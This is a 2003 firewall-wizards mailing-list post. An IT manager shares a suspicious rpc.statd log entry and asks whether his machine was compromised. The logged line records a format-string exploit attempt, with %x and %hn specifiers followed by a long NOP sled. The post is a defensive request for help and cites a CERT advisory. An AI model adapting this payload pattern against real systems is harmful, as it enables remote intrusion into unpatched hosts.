[prev in list] [next in list] [prev in thread] [next in thread] 

List:       firewall-wizards
Subject:    [fw-wiz] rpc.statd message log
From:       "Robert E. Martin" <rmartin () fishburne ! org>
Date:       2003-04-24 16:05:03
[Download RAW message or body]

I found this in my /var/log/messages log ........

Apr 21 11:07:01 fms rpc.statd[1010]: gethostbyname error for 
^X÷ÿ¿^X÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8x%62716x%hn%51
859x%hn\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

I believe that the machine has been compromised, but do not find any 
trace using cert.org recommended Intruder Detection Checklist. I have 
stopped the rpc.statd service, since we don't use this at ALL!
http://www.kb.cert.org/vuls/id/34043
Any thoughts? Anyone?

-- 
Robert E Martin
IT Manager
Fishburne Military School
rmartin@fishburne.org
540.946.7726


_______________________________________________
firewall-wizards mailing list
firewall-wizards@honor.icsalabs.com
http://honor.icsalabs.com/mailman/listinfo/firewall-wizards


[prev in list] [next in list] [prev in thread] [next in thread]